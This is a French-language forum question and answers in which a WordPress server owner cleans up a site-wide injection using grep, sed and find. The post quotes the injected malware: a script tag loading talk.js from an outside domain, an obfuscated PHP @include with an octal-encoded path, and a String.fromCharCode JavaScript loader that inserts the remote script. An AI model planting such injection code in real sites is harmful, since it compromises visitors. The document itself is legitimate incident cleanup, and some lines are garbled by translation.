Donc, tout mon serveur a été piraté ou a rencontré un problème de malware. mon site est basé sur WordPress et la majorité des sites hébergés sur mon serveur est basé sur WordPress. Le pirate a ajouté cette ligne de code à chaque fichier et à la base de données
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Je l'ai cherché via grep en utilisant
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
J'essaie de le remplacer dans toute la structure du fichier avec sed
et j'ai écrit la commande suivante.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
J'essaie de remplacer la chaîne sur un seul fichier d' index.php
abord, donc je sais que cela fonctionne.
et je sais que mon code est faux. S'il vous plait, j'ai besoin de votre aide avec ceci.
J'ai essayé avec le code @ Eran et il a supprimé toute la ligne, ce qui est bien et comme prévu. Cependant, le jargon total est le suivant
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Et bien que je souhaite supprimer tout le contenu, je souhaite conserver la balise d'ouverture php <?php
.
Bien que la solution de @ slybloty soit facile et a fonctionné.
afin de supprimer complètement le code de tous les fichiers concernés. J'exécute les 3 commandes suivantes, merci à vous tous pour cela.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Pour supprimer la ligne de scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Pour supprimer la@include
lignefind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Pour supprimer la ligne de commentaire
De plus, j'ai exécuté à nouveau les 3 commandes pour '*.html'
, car le script du pirate a créé index.html indésirable dans tous les répertoires. Je ne savais pas si la suppression de ces index.html en bloc était la bonne approche.
maintenant, j'ai encore besoin de comprendre les fichiers indésirables et leurs traces.
Le script pirate a également ajouté le code JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
J'essaie de voir si je le peux sed
aussi.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
L' -l
option fournit simplement le nom du fichier et non le texte correspondant.
sed -i
. Par exemple, sed -i.bak
crée un *.bak
fichier pour tous les fichiers modifiés. Lorsqu'il est utilisé avec la while...grep
boucle, vous ne sauvegarderez que les fichiers contenant cette chaîne. Désolé pour tous les commentaires supplémentaires, mais à mon avis, les logiciels malveillants sont un scénario «tout le monde sur le pont».